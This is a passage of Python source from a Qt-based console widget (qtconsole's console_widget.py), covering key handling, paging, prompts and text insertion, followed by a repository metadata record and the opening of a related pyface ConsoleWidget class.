layout = control.document().documentLayout()
layout.documentSizeChanged.disconnect()
layout.documentSizeChanged.connect(self._adjust_scrollbars)
# Configure the control.
control.setAttribute(QtCore.Qt.WA_InputMethodEnabled, True)
control.setContextMenuPolicy(QtCore.Qt.CustomContextMenu)
control.setReadOnly(True)
control.setUndoRedoEnabled(False)
control.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOn)
return control
def _create_page_control(self):
""" Creates and connects the underlying paging widget.
"""
if self.custom_page_control:
control = self.custom_page_control()
elif self.kind == 'plain':
control = QtGui.QPlainTextEdit()
elif self.kind == 'rich':
control = QtGui.QTextEdit()
control.installEventFilter(self)
viewport = control.viewport()
viewport.installEventFilter(self)
control.setReadOnly(True)
control.setUndoRedoEnabled(False)
control.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOn)
return control
def _event_filter_console_keypress(self, event):
""" Filter key events for the underlying text widget to create a
console-like interface.
"""
intercepted = False
cursor = self._control.textCursor()
position = cursor.position()
key = event.key()
ctrl_down = self._control_key_down(event.modifiers())
alt_down = event.modifiers() & QtCore.Qt.AltModifier
shift_down = event.modifiers() & QtCore.Qt.ShiftModifier
#------ Special sequences ----------------------------------------------
if event.matches(QtGui.QKeySequence.Copy):
self.copy()
intercepted = True
elif event.matches(QtGui.QKeySequence.Cut):
self.cut()
intercepted = True
elif event.matches(QtGui.QKeySequence.Paste):
self.paste()
intercepted = True
#------ Special modifier logic -----------------------------------------
elif key in (QtCore.Qt.Key_Return, QtCore.Qt.Key_Enter):
intercepted = True
# Special handling when tab completing in text mode.
self._cancel_completion()
if self._in_buffer(position):
# Special handling when a reading a line of raw input.
if self._reading:
self._append_plain_text('\n')
self._reading = False
if self._reading_callback:
self._reading_callback()
# If the input buffer is a single line or there is only
# whitespace after the cursor, execute. Otherwise, split the
# line with a continuation prompt.
elif not self._executing:
cursor.movePosition(QtGui.QTextCursor.End,
QtGui.QTextCursor.KeepAnchor)
at_end = len(cursor.selectedText().strip()) == 0
single_line = (self._get_end_cursor().blockNumber() ==
self._get_prompt_cursor().blockNumber())
if (at_end or shift_down or single_line) and not ctrl_down:
self.execute(interactive = not shift_down)
else:
# Do this inside an edit block for clean undo/redo.
cursor.beginEditBlock()
cursor.setPosition(position)
cursor.insertText('\n')
self._insert_continuation_prompt(cursor)
cursor.endEditBlock()
# Ensure that the whole input buffer is visible.
# FIXME: This will not be usable if the input buffer is
# taller than the console widget.
self._control.moveCursor(QtGui.QTextCursor.End)
self._control.setTextCursor(cursor)
#------ Control/Cmd modifier -------------------------------------------
elif ctrl_down:
if key == QtCore.Qt.Key_G:
self._keyboard_quit()
intercepted = True
elif key == QtCore.Qt.Key_K:
if self._in_buffer(position):
cursor.clearSelection()
cursor.movePosition(QtGui.QTextCursor.EndOfLine,
QtGui.QTextCursor.KeepAnchor)
if not cursor.hasSelection():
# Line deletion (remove continuation prompt)
cursor.movePosition(QtGui.QTextCursor.NextBlock,
QtGui.QTextCursor.KeepAnchor)
cursor.movePosition(QtGui.QTextCursor.Right,
QtGui.QTextCursor.KeepAnchor,
len(self._continuation_prompt))
self._kill_ring.kill_cursor(cursor)
self._set_cursor(cursor)
intercepted = True
elif key == QtCore.Qt.Key_L:
self.prompt_to_top()
intercepted = True
elif key == QtCore.Qt.Key_O:
if self._page_control and self._page_control.isVisible():
self._page_control.setFocus()
intercepted = True
elif key == QtCore.Qt.Key_U:
if self._in_buffer(position):
cursor.clearSelection()
start_line = cursor.blockNumber()
if start_line == self._get_prompt_cursor().blockNumber():
offset = len(self._prompt)
else:
offset = len(self._continuation_prompt)
cursor.movePosition(QtGui.QTextCursor.StartOfBlock,
QtGui.QTextCursor.KeepAnchor)
cursor.movePosition(QtGui.QTextCursor.Right,
QtGui.QTextCursor.KeepAnchor, offset)
self._kill_ring.kill_cursor(cursor)
self._set_cursor(cursor)
intercepted = True
elif key == QtCore.Qt.Key_Y:
self._keep_cursor_in_buffer()
self._kill_ring.yank()
intercepted = True
elif key in (QtCore.Qt.Key_Backspace, QtCore.Qt.Key_Delete):
if key == QtCore.Qt.Key_Backspace:
cursor = self._get_word_start_cursor(position)
else: # key == QtCore.Qt.Key_Delete
cursor = self._get_word_end_cursor(position)
cursor.setPosition(position, QtGui.QTextCursor.KeepAnchor)
self._kill_ring.kill_cursor(cursor)
intercepted = True
elif key == QtCore.Qt.Key_D:
if len(self.input_buffer) == 0:
self.exit_requested.emit(self)
else:
new_event = QtGui.QKeyEvent(QtCore.QEvent.KeyPress,
QtCore.Qt.Key_Delete,
QtCore.Qt.NoModifier)
QtGui.qApp.sendEvent(self._control, new_event)
intercepted = True
#------ Alt modifier ---------------------------------------------------
elif alt_down:
if key == QtCore.Qt.Key_B:
self._set_cursor(self._get_word_start_cursor(position))
intercepted = True
elif key == QtCore.Qt.Key_F:
self._set_cursor(self._get_word_end_cursor(position))
intercepted = True
elif key == QtCore.Qt.Key_Y:
self._kill_ring.rotate()
intercepted = True
elif key == QtCore.Qt.Key_Backspace:
cursor = self._get_word_start_cursor(position)
cursor.setPosition(position, QtGui.QTextCursor.KeepAnchor)
self._kill_ring.kill_cursor(cursor)
intercepted = True
elif key == QtCore.Qt.Key_D:
cursor = self._get_word_end_cursor(position)
cursor.setPosition(position, QtGui.QTextCursor.KeepAnchor)
self._kill_ring.kill_cursor(cursor)
intercepted = True
elif key == QtCore.Qt.Key_Delete:
intercepted = True
elif key == QtCore.Qt.Key_Greater:
self._control.moveCursor(QtGui.QTextCursor.End)
intercepted = True
elif key == QtCore.Qt.Key_Less:
self._control.setTextCursor(self._get_prompt_cursor())
intercepted = True
#------ No modifiers ---------------------------------------------------
else:
if shift_down:
anchormode = QtGui.QTextCursor.KeepAnchor
else:
anchormode = QtGui.QTextCursor.MoveAnchor
if key == QtCore.Qt.Key_Escape:
self._keyboard_quit()
intercepted = True
elif key == QtCore.Qt.Key_Up:
if self._reading or not self._up_pressed(shift_down):
intercepted = True
else:
prompt_line = self._get_prompt_cursor().blockNumber()
intercepted = cursor.blockNumber() <= prompt_line
elif key == QtCore.Qt.Key_Down:
if self._reading or not self._down_pressed(shift_down):
intercepted = True
else:
end_line = self._get_end_cursor().blockNumber()
intercepted = cursor.blockNumber() == end_line
elif key == QtCore.Qt.Key_Tab:
if not self._reading:
if self._tab_pressed():
# real tab-key, insert four spaces
cursor.insertText(' '*4)
intercepted = True
elif key == QtCore.Qt.Key_Left:
# Move to the previous line
line, col = cursor.blockNumber(), cursor.columnNumber()
if line > self._get_prompt_cursor().blockNumber() and \
col == len(self._continuation_prompt):
self._control.moveCursor(QtGui.QTextCursor.PreviousBlock,
mode=anchormode)
self._control.moveCursor(QtGui.QTextCursor.EndOfBlock,
mode=anchormode)
intercepted = True
# Regular left movement
else:
intercepted = not self._in_buffer(position - 1)
elif key == QtCore.Qt.Key_Right:
original_block_number = cursor.blockNumber()
self._control.moveCursor(QtGui.QTextCursor.Right,
mode=anchormode)
if cursor.blockNumber() != original_block_number:
self._control.moveCursor(QtGui.QTextCursor.Right,
n=len(self._continuation_prompt),
mode=anchormode)
intercepted = True
elif key == QtCore.Qt.Key_Home:
start_line = cursor.blockNumber()
if start_line == self._get_prompt_cursor().blockNumber():
start_pos = self._prompt_pos
else:
cursor.movePosition(QtGui.QTextCursor.StartOfBlock,
QtGui.QTextCursor.KeepAnchor)
start_pos = cursor.position()
start_pos += len(self._continuation_prompt)
cursor.setPosition(position)
if shift_down and self._in_buffer(position):
cursor.setPosition(start_pos, QtGui.QTextCursor.KeepAnchor)
else:
cursor.setPosition(start_pos)
self._set_cursor(cursor)
intercepted = True
elif key == QtCore.Qt.Key_Backspace:
# Line deletion (remove continuation prompt)
line, col = cursor.blockNumber(), cursor.columnNumber()
if not self._reading and \
col == len(self._continuation_prompt) and \
line > self._get_prompt_cursor().blockNumber():
cursor.beginEditBlock()
cursor.movePosition(QtGui.QTextCursor.StartOfBlock,
QtGui.QTextCursor.KeepAnchor)
cursor.removeSelectedText()
cursor.deletePreviousChar()
cursor.endEditBlock()
intercepted = True
# Regular backwards deletion
else:
anchor = cursor.anchor()
if anchor == position:
intercepted = not self._in_buffer(position - 1)
else:
intercepted = not self._in_buffer(min(anchor, position))
elif key == QtCore.Qt.Key_Delete:
# Line deletion (remove continuation prompt)
if not self._reading and self._in_buffer(position) and \
cursor.atBlockEnd() and not cursor.hasSelection():
cursor.movePosition(QtGui.QTextCursor.NextBlock,
QtGui.QTextCursor.KeepAnchor)
cursor.movePosition(QtGui.QTextCursor.Right,
QtGui.QTextCursor.KeepAnchor,
len(self._continuation_prompt))
cursor.removeSelectedText()
intercepted = True
# Regular forwards deletion:
else:
anchor = cursor.anchor()
intercepted = (not self._in_buffer(anchor) or
not self._in_buffer(position))
# Don't move the cursor if Control/Cmd is pressed to allow copy-paste
# using the keyboard in any part of the buffer. Also, permit scrolling
# with Page Up/Down keys. Finally, if we're executing, don't move the
# cursor (if even this made sense, we can't guarantee that the prompt
# position is still valid due to text truncation).
if not (self._control_key_down(event.modifiers(), include_command=True)
or key in (QtCore.Qt.Key_PageUp, QtCore.Qt.Key_PageDown)
or (self._executing and not self._reading)):
self._keep_cursor_in_buffer()
return intercepted
def _event_filter_page_keypress(self, event):
""" Filter key events for the paging widget to create console-like
interface.
"""
key = event.key()
ctrl_down = self._control_key_down(event.modifiers())
alt_down = event.modifiers() & QtCore.Qt.AltModifier
if ctrl_down:
if key == QtCore.Qt.Key_O:
self._control.setFocus()
intercept = True
elif alt_down:
if key == QtCore.Qt.Key_Greater:
self._page_control.moveCursor(QtGui.QTextCursor.End)
intercepted = True
elif key == QtCore.Qt.Key_Less:
self._page_control.moveCursor(QtGui.QTextCursor.Start)
intercepted = True
elif key in (QtCore.Qt.Key_Q, QtCore.Qt.Key_Escape):
if self._splitter:
self._page_control.hide()
self._control.setFocus()
else:
self.layout().setCurrentWidget(self._control)
# re-enable buffer truncation after paging
self._control.document().setMaximumBlockCount(self.buffer_size)
return True
elif key in (QtCore.Qt.Key_Enter, QtCore.Qt.Key_Return,
QtCore.Qt.Key_Tab):
new_event = QtGui.QKeyEvent(QtCore.QEvent.KeyPress,
QtCore.Qt.Key_PageDown,
QtCore.Qt.NoModifier)
QtGui.qApp.sendEvent(self._page_control, new_event)
return True
elif key == QtCore.Qt.Key_Backspace:
new_event = QtGui.QKeyEvent(QtCore.QEvent.KeyPress,
QtCore.Qt.Key_PageUp,
QtCore.Qt.NoModifier)
QtGui.qApp.sendEvent(self._page_control, new_event)
return True
# vi/less -like key bindings
elif key == QtCore.Qt.Key_J:
new_event = QtGui.QKeyEvent(QtCore.QEvent.KeyPress,
QtCore.Qt.Key_Down,
QtCore.Qt.NoModifier)
QtGui.qApp.sendEvent(self._page_control, new_event)
return True
# vi/less -like key bindings
elif key == QtCore.Qt.Key_K:
new_event = QtGui.QKeyEvent(QtCore.QEvent.KeyPress,
QtCore.Qt.Key_Up,
QtCore.Qt.NoModifier)
QtGui.qApp.sendEvent(self._page_control, new_event)
return True
return False
def _on_flush_pending_stream_timer(self):
""" Flush the pending stream output and change the
prompt position appropriately.
"""
cursor = self._control.textCursor()
cursor.movePosition(QtGui.QTextCursor.End)
pos = cursor.position()
self._flush_pending_stream()
cursor.movePosition(QtGui.QTextCursor.End)
diff = cursor.position() - pos
if diff > 0:
self._prompt_pos += diff
self._append_before_prompt_pos += diff
def _flush_pending_stream(self):
""" Flush out pending text into the widget. """
text = self._pending_insert_text
self._pending_insert_text = []
buffer_size = self._control.document().maximumBlockCount()
if buffer_size > 0:
text = self._get_last_lines_from_list(text, buffer_size)
text = ''.join(text)
t = time.time()
self._insert_plain_text(self._get_end_cursor(), text, flush=True)
# Set the flush interval to equal the maximum time to update text.
self._pending_text_flush_interval.setInterval(max(100,
(time.time()-t)*1000))
def _format_as_columns(self, items, separator=' '):
""" Transform a list of strings into a single string with columns.
Parameters
----------
items : sequence of strings
The strings to process.
separator : str, optional [default is two spaces]
The string that separates columns.
Returns
-------
The formatted string.
"""
# Calculate the number of characters available.
width = self._control.document().textWidth()
char_width = QtGui.QFontMetrics(self.font).width(' ')
displaywidth = max(10, (width / char_width) - 1)
return columnize(items, separator, displaywidth)
def _get_block_plain_text(self, block):
""" Given a QTextBlock, return its unformatted text.
"""
cursor = QtGui.QTextCursor(block)
cursor.movePosition(QtGui.QTextCursor.StartOfBlock)
cursor.movePosition(QtGui.QTextCursor.EndOfBlock,
QtGui.QTextCursor.KeepAnchor)
return cursor.selection().toPlainText()
def _get_cursor(self):
""" Convenience method that returns a cursor for the current position.
"""
return self._control.textCursor()
def _get_end_cursor(self):
""" Convenience method that returns a cursor for the last character.
"""
cursor = self._control.textCursor()
cursor.movePosition(QtGui.QTextCursor.End)
return cursor
def _get_input_buffer_cursor_column(self):
""" Returns the column of the cursor in the input buffer, excluding the
contribution by the prompt, or -1 if there is no such column.
"""
prompt = self._get_input_buffer_cursor_prompt()
if prompt is None:
return -1
else:
cursor = self._control.textCursor()
return cursor.columnNumber() - len(prompt)
def _get_input_buffer_cursor_line(self):
""" Returns the text of the line of the input buffer that contains the
cursor, or None if there is no such line.
"""
prompt = self._get_input_buffer_cursor_prompt()
if prompt is None:
return None
else:
cursor = self._control.textCursor()
text = self._get_block_plain_text(cursor.block())
return text[len(prompt):]
def _get_input_buffer_cursor_pos(self):
"""Return the cursor position within the input buffer."""
cursor = self._control.textCursor()
cursor.setPosition(self._prompt_pos, QtGui.QTextCursor.KeepAnchor)
input_buffer = cursor.selection().toPlainText()
# Don't count continuation prompts
return len(input_buffer.replace('\n' + self._continuation_prompt, '\n'))
def _get_input_buffer_cursor_prompt(self):
""" Returns the (plain text) prompt for line of the input buffer that
contains the cursor, or None if there is no such line.
"""
if self._executing:
return None
cursor = self._control.textCursor()
if cursor.position() >= self._prompt_pos:
if cursor.blockNumber() == self._get_prompt_cursor().blockNumber():
return self._prompt
else:
return self._continuation_prompt
else:
return None
def _get_last_lines(self, text, num_lines, return_count=False):
""" Return last specified number of lines of text (like `tail -n`).
If return_count is True, returns a tuple of clipped text and the
number of lines in the clipped text.
"""
pos = len(text)
if pos < num_lines:
if return_count:
return text, text.count('\n') if return_count else text
else:
return text
i = 0
while i < num_lines:
pos = text.rfind('\n', None, pos)
if pos == -1:
pos = None
break
i += 1
if return_count:
return text[pos:], i
else:
return text[pos:]
def _get_last_lines_from_list(self, text_list, num_lines):
""" Return the list of text clipped to last specified lines.
"""
ret = []
lines_pending = num_lines
for text in reversed(text_list):
text, lines_added = self._get_last_lines(text, lines_pending,
return_count=True)
ret.append(text)
lines_pending -= lines_added
if lines_pending <= 0:
break
return ret[::-1]
def _get_prompt_cursor(self):
""" Convenience method that returns a cursor for the prompt position.
"""
cursor = self._control.textCursor()
cursor.setPosition(self._prompt_pos)
return cursor
def _get_selection_cursor(self, start, end):
""" Convenience method that returns a cursor with text selected between
the positions 'start' and 'end'.
"""
cursor = self._control.textCursor()
cursor.setPosition(start)
cursor.setPosition(end, QtGui.QTextCursor.KeepAnchor)
return cursor
def _get_word_start_cursor(self, position):
""" Find the start of the word to the left the given position. If a
sequence of non-word characters precedes the first word, skip over
them. (This emulates the behavior of bash, emacs, etc.)
"""
document = self._control.document()
position -= 1
while position >= self._prompt_pos and \
not is_letter_or_number(document.characterAt(position)):
position -= 1
while position >= self._prompt_pos and \
is_letter_or_number(document.characterAt(position)):
position -= 1
cursor = self._control.textCursor()
cursor.setPosition(position + 1)
return cursor
def _get_word_end_cursor(self, position):
""" Find the end of the word to the right the given position. If a
sequence of non-word characters precedes the first word, skip over
them. (This emulates the behavior of bash, emacs, etc.)
"""
document = self._control.document()
end = self._get_end_cursor().position()
while position < end and \
not is_letter_or_number(document.characterAt(position)):
position += 1
while position < end and \
is_letter_or_number(document.characterAt(position)):
position += 1
cursor = self._control.textCursor()
cursor.setPosition(position)
return cursor
def _insert_continuation_prompt(self, cursor):
""" Inserts new continuation prompt using the specified cursor.
"""
if self._continuation_prompt_html is None:
self._insert_plain_text(cursor, self._continuation_prompt)
else:
self._continuation_prompt = self._insert_html_fetching_plain_text(
cursor, self._continuation_prompt_html)
def _insert_block(self, cursor, block_format=None):
""" Inserts an empty QTextBlock using the specified cursor.
"""
if block_format is None:
block_format = QtGui.QTextBlockFormat()
cursor.insertBlock(block_format)
def _insert_html(self, cursor, html):
""" Inserts HTML using the specified cursor in such a way that future
formatting is unaffected.
"""
cursor.beginEditBlock()
cursor.insertHtml(html)
# After inserting HTML, the text document "remembers" it's in "html
# mode", which means that subsequent calls adding plain text will result
# in unwanted formatting, lost tab characters, etc. The following code
# hacks around this behavior, which I consider to be a bug in Qt, by
# (crudely) resetting the document's style state.
cursor.movePosition(QtGui.QTextCursor.Left,
QtGui.QTextCursor.KeepAnchor)
if cursor.selection().toPlainText() == ' ':
cursor.removeSelectedText()
else:
cursor.movePosition(QtGui.QTextCursor.Right)
cursor.insertText(' ', QtGui.QTextCharFormat())
cursor.endEditBlock()
def _insert_html_fetching_plain_text(self, cursor, html):
""" Inserts HTML using the specified cursor, then returns its plain text
version.
"""
cursor.beginEditBlock()
cursor.removeSelectedText()
start = cursor.position()
self._insert_html(cursor, html)
end = cursor.position()
cursor.setPosition(start, QtGui.QTextCursor.KeepAnchor)
text = cursor.selection().toPlainText()
cursor.setPosition(end)
cursor.endEditBlock()
return text
def _insert_plain_text(self, cursor, text, flush=False):
""" Inserts plain text using the specified cursor, processing ANSI codes
if enabled.
"""
# maximumBlockCount() can be different from self.buffer_size in
# case input prompt is active.
buffer_size = self._control.document().maximumBlockCount()
if (self._executing and not flush and
self._pending_text_flush_interval.isActive() and
cursor.position() == self._get_end_cursor().position()):
# Queue the text to insert in case it is being inserted at end
self._pending_insert_text.append(text)
if buffer_size > 0:
self._pending_insert_text = self._get_last_lines_from_list(
self._pending_insert_text, buffer_size)
return
if self._executing and not self._pending_text_flush_interval.isActive():
self._pending_text_flush_interval.start()
# Clip the text to last `buffer_size` lines.
if buffer_size > 0:
text = self._get_last_lines(text, buffer_size)
cursor.beginEditBlock()
if self.ansi_codes:
for substring in self._ansi_processor.split_string(text):
for act in self._ansi_processor.actions:
# Unlike real terminal emulators, we don't distinguish
# between the screen and the scrollback buffer. A screen
# erase request clears everything.
if act.action == 'erase' and act.area == 'screen':
cursor.select(QtGui.QTextCursor.Document)
cursor.removeSelectedText()
# Simulate a form feed by scrolling just past the last line.
elif act.action == 'scroll' and act.unit == 'page':
cursor.insertText('\n')
cursor.endEditBlock()
self._set_top_cursor(cursor)
cursor.joinPreviousEditBlock()
cursor.deletePreviousChar()
elif act.action == 'carriage-return':
cursor.movePosition(
cursor.StartOfLine, cursor.KeepAnchor)
elif act.action == 'beep':
QtGui.qApp.beep()
elif act.action == 'backspace':
if not cursor.atBlockStart():
cursor.movePosition(
cursor.PreviousCharacter, cursor.KeepAnchor)
elif act.action == 'newline':
cursor.movePosition(cursor.EndOfLine)
format = self._ansi_processor.get_format()
selection = cursor.selectedText()
if len(selection) == 0:
cursor.insertText(substring, format)
elif substring is not None:
# BS and CR are treated as a change in print
# position, rather than a backwards character
# deletion for output equivalence with (I)Python
# terminal.
if len(substring) >= len(selection):
cursor.insertText(substring, format)
else:
old_text = selection[len(substring):]
cursor.insertText(substring + old_text, format)
cursor.movePosition(cursor.PreviousCharacter,
cursor.KeepAnchor, len(old_text))
else:
cursor.insertText(text)
cursor.endEditBlock()
def _insert_plain_text_into_buffer(self, cursor, text):
""" Inserts text into the input buffer using the specified cursor (which
must be in the input buffer), ensuring that continuation prompts are
inserted as necessary.
"""
lines = text.splitlines(True)
if lines:
if lines[-1].endswith('\n'):
# If the text ends with a newline, add a blank line so a new
# continuation prompt is produced.
lines.append('')
cursor.beginEditBlock()
cursor.insertText(lines[0])
for line in lines[1:]:
if self._continuation_prompt_html is None:
cursor.insertText(self._continuation_prompt)
else:
self._continuation_prompt = \
self._insert_html_fetching_plain_text(
cursor, self._continuation_prompt_html)
cursor.insertText(line)
cursor.endEditBlock()
def _in_buffer(self, position=None):
""" Returns whether the current cursor (or, if specified, a position) is
inside the editing region.
"""
cursor = self._control.textCursor()
if position is None:
position = cursor.position()
else:
cursor.setPosition(position)
line = cursor.blockNumber()
prompt_line = self._get_prompt_cursor().blockNumber()
if line == prompt_line:
return position >= self._prompt_pos
elif line > prompt_line:
cursor.movePosition(QtGui.QTextCursor.StartOfBlock)
prompt_pos = cursor.position() + len(self._continuation_prompt)
return position >= prompt_pos
return False
def _keep_cursor_in_buffer(self):
""" Ensures that the cursor is inside the editing region. Returns
whether the cursor was moved.
"""
moved = not self._in_buffer()
if moved:
cursor = self._control.textCursor()
cursor.movePosition(QtGui.QTextCursor.End)
self._control.setTextCursor(cursor)
return moved
def _keyboard_quit(self):
""" Cancels the current editing task ala Ctrl-G in Emacs.
"""
if self._temp_buffer_filled :
self._cancel_completion()
self._clear_temporary_buffer()
else:
self.input_buffer = ''
def _page(self, text, html=False):
""" Displays text using the pager if it exceeds the height of the
viewport.
Parameters
----------
html : bool, optional (default False)
If set, the text will be interpreted as HTML instead of plain text.
"""
line_height = QtGui.QFontMetrics(self.font).height()
minlines = self._control.viewport().height() / line_height
if self.paging != 'none' and \
re.match("(?:[^\n]*\n){%i}" % minlines, text):
if self.paging == 'custom':
self.custom_page_requested.emit(text)
else:
# disable buffer truncation during paging
self._control.document().setMaximumBlockCount(0)
self._page_control.clear()
cursor = self._page_control.textCursor()
if html:
self._insert_html(cursor, text)
else:
self._insert_plain_text(cursor, text)
self._page_control.moveCursor(QtGui.QTextCursor.Start)
self._page_control.viewport().resize(self._control.size())
if self._splitter:
self._page_control.show()
self._page_control.setFocus()
else:
self.layout().setCurrentWidget(self._page_control)
elif html:
self._append_html(text)
else:
self._append_plain_text(text)
def _set_paging(self, paging):
"""
Change the pager to `paging` style.
Parameters
----------
paging : string
Either "hsplit", "vsplit", or "inside"
"""
if self._splitter is None:
raise NotImplementedError("""can only switch if --paging=hsplit or
--paging=vsplit is used.""")
if paging == 'hsplit':
self._splitter.setOrientation(QtCore.Qt.Horizontal)
elif paging == 'vsplit':
self._splitter.setOrientation(QtCore.Qt.Vertical)
elif paging == 'inside':
raise NotImplementedError("""switching to 'inside' paging not
supported yet.""")
else:
raise ValueError("unknown paging method '%s'" % paging)
self.paging = paging
def _prompt_finished(self):
""" Called immediately after a prompt is finished, i.e. when some input
will be processed and a new prompt displayed.
"""
self._control.setReadOnly(True)
self._prompt_finished_hook()
def _prompt_started(self):
""" Called immediately after a new prompt is displayed.
"""
# Temporarily disable the maximum block count to permit undo/redo and
# to ensure that the prompt position does not change due to truncation.
self._control.document().setMaximumBlockCount(0)
self._control.setUndoRedoEnabled(True)
# Work around bug in QPlainTextEdit: input method is not re-enabled
# when read-only is disabled.
self._control.setReadOnly(False)
self._control.setAttribute(QtCore.Qt.WA_InputMethodEnabled, True)
if not self._reading:
self._executing = False
self._prompt_started_hook()
# If the input buffer has changed while executing, load it.
if self._input_buffer_pending:
self.input_buffer = self._input_buffer_pending
self._input_buffer_pending = ''
self._control.moveCursor(QtGui.QTextCursor.End)
def _readline(self, prompt='', callback=None, password=False):
""" Reads one line of input from the user.
Parameters
----------
prompt : str, optional
The prompt to print before reading the line.
callback : callable, optional
A callback to execute with the read line. If not specified, input is
read *synchronously* and this method does not return until it has
been read.
Returns
-------
If a callback is specified, returns nothing. Otherwise, returns the
input string with the trailing newline stripped.
"""
if self._reading:
raise RuntimeError('Cannot read a line. Widget is already reading.')
if not callback and not self.isVisible():
# If the user cannot see the widget, this function cannot return.
raise RuntimeError('Cannot synchronously read a line if the widget '
'is not visible!')
self._reading = True
if password:
self._show_prompt('Warning: QtConsole does not support password mode, '\
'the text you type will be visible.', newline=True)
self._show_prompt(prompt, newline=False)
if callback is None:
self._reading_callback = None
while self._reading:
QtCore.QCoreApplication.processEvents()
return self._get_input_buffer(force=True).rstrip('\n')
else:
self._reading_callback = lambda: \
callback(self._get_input_buffer(force=True).rstrip('\n'))
def _set_continuation_prompt(self, prompt, html=False):
""" Sets the continuation prompt.
Parameters
----------
prompt : str
The prompt to show when more input is needed.
html : bool, optional (default False)
If set, the prompt will be inserted as formatted HTML. Otherwise,
the prompt will be treated as plain text, though ANSI color codes
will be handled.
"""
if html:
self._continuation_prompt_html = prompt
else:
self._continuation_prompt = prompt
self._continuation_prompt_html = None
def _set_cursor(self, cursor):
""" Convenience method to set the current cursor.
"""
self._control.setTextCursor(cursor)
def _set_top_cursor(self, cursor):
""" Scrolls the viewport so that the specified cursor is at the top.
"""
scrollbar = self._control.verticalScrollBar()
scrollbar.setValue(scrollbar.maximum())
original_cursor = self._control.textCursor()
self._control.setTextCursor(cursor)
self._control.ensureCursorVisible()
self._control.setTextCursor(original_cursor)
def _show_prompt(self, prompt=None, html=False, newline=True):
""" Writes a new prompt at the end of the buffer.
Parameters
----------
prompt : str, optional
The prompt to show. If not specified, the previous prompt is used.
html : bool, optional (default False)
Only relevant when a prompt is specified. If set, the prompt will
be inserted as formatted HTML. Otherwise, the prompt will be treated
as plain text, though ANSI color codes will be handled.
newline : bool, optional (default True)
If set, a new line will be written before showing the prompt if
there is not already a newline at the end of the buffer.
"""
# Save the current end position to support _append*(before_prompt=True).
self._flush_pending_stream()
cursor = self._get_end_cursor()
self._append_before_prompt_pos = cursor.position()
# Insert a preliminary newline, if necessary.
if newline and cursor.position() > 0:
cursor.movePosition(QtGui.QTextCursor.Left,
QtGui.QTextCursor.KeepAnchor)
if cursor.selection().toPlainText() != '\n':
self._append_block()
self._append_before_prompt_pos += 1
# Write the prompt.
self._append_plain_text(self._prompt_sep)
if prompt is None:
if self._prompt_html is None:
self._append_plain_text(self._prompt)
else:
self._append_html(self._prompt_html)
else:
if html:
self._prompt = self._append_html_fetching_plain_text(prompt)
self._prompt_html = prompt
else:
self._append_plain_text(prompt)
self._prompt = prompt
self._prompt_html = None
self._flush_pending_stream()
self._prompt_pos = self._get_end_cursor().position()
self._prompt_started()
#------ Signal handlers ----------------------------------------------------
def _adjust_scrollbars(self):
""" Expands the vertical scrollbar beyond the range set by Qt.
"""
# This code is adapted from _q_adjustScrollbars in qplaintextedit.cpp
# and qtextedit.cpp.
document = self._control.document()
scrollbar = self._control.verticalScrollBar()
viewport_height = self._control.viewport().height()
if isinstance(self._control, QtGui.QPlainTextEdit):
maximum = max(0, document.lineCount() - 1)
step = viewport_height / self._control.fontMetrics().lineSpacing()
else:
# QTextEdit does not do line-based layout and blocks will not in
# general have the same height. Therefore it does not make sense to
# attempt to scroll in line height increments.
maximum = document.size().height()
step = viewport_height
diff = maximum - scrollbar.maximum()
scrollbar.setRange(0, maximum)
scrollbar.setPageStep(step)
# Compensate for undesirable scrolling that occurs automatically due to
# maximumBlockCount() text truncation.
if diff < 0 and document.blockCount() == document.maximumBlockCount():
scrollbar.setValue(scrollbar.value() + diff)
def _custom_context_menu_requested(self, pos):
""" Shows a context menu at the given QPoint (in widget coordinates).
"""
menu = self._context_menu_make(pos)
menu.exec_(self._control.mapToGlobal(pos))
| {
"repo_name": "fzheng/codejam",
"path": "lib/python2.7/site-packages/qtconsole/console_widget.py",
"copies": "7",
"size": "87125",
"license": "mit",
"hash": 802642854427056000,
"line_mean": 39.7507015903,
"line_max": 103,
"alpha_frac": 0.5654404591,
"autogenerated": false,
"ratio": 4.62422376731596,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.8689664226415958,
"avg_score": null,
"num_lines": null
} |
""" An abstract base class for console-type widgets.
"""
# FIXME: This file and the others in this directory have been ripped, more or
# less intact, out of IPython. At some point we should figure out a more
# maintainable solution.
#-----------------------------------------------------------------------------
# Imports
#-----------------------------------------------------------------------------
# Standard library imports
import os
from os.path import commonprefix
import re
import sys
from textwrap import dedent
from unicodedata import category
# System library imports
from pyface.qt import QtCore, QtGui
#-----------------------------------------------------------------------------
# Functions
#-----------------------------------------------------------------------------
def is_letter_or_number(char):
""" Returns whether the specified unicode character is a letter or a number.
"""
cat = category(char)
return cat.startswith('L') or cat.startswith('N')
#-----------------------------------------------------------------------------
# Classes
#-----------------------------------------------------------------------------
class ConsoleWidget(QtGui.QWidget):
""" An abstract base class for console-type widgets. This class has
functionality for:
* Maintaining a prompt and editing region
* Providing the traditional Unix-style console keyboard shortcuts
* Performing tab completion
* Paging text
ConsoleWidget also provides a number of utility methods that will be
convenient to implementors of a console-style widget.
"""
#------ Configuration ------------------------------------------------------
# The maximum number of lines of text before truncation. Specifying a
# non-positive number disables text truncation (not recommended).
buffer_size = 500
# The type of underlying text widget to use. Valid values are 'plain', which
# specifies a QPlainTextEdit, and 'rich', which specifies a QTextEdit.
# NOTE: this value can only be specified during initialization.
kind = 'plain'
# The type of paging to use. Valid values are:
# 'inside' : The widget pages like a traditional terminal.
# 'hsplit' : When paging is requested, the widget is split
# horizontally. The top pane contains the console, and the
# bottom pane contains the paged text.
# 'vsplit' : Similar to 'hsplit', except that a vertical splitter used.
# 'custom' : No action is taken by the widget beyond emitting a
# 'custom_page_requested(str)' signal.
# 'none' : The text is written directly to the console.
# NOTE: this value can only be specified during initialization.
paging = 'inside'
# Whether to override ShortcutEvents for the keybindings defined by this
# widget (Ctrl+n, Ctrl+a, etc). Enable this if you want this widget to take
# priority (when it has focus) over, e.g., window-level menu shortcuts.
override_shortcuts = False
#------ Signals ------------------------------------------------------------
# Signals that indicate ConsoleWidget state.
copy_available = QtCore.Signal(bool)
redo_available = QtCore.Signal(bool)
undo_available = QtCore.Signal(bool)
# Signal emitted when paging is needed and the paging style has been
# specified as 'custom'.
custom_page_requested = QtCore.Signal(object)
# Signal emitted when the font is changed.
font_changed = QtCore.Signal(QtGui.QFont)
#------ Protected class variables ------------------------------------------
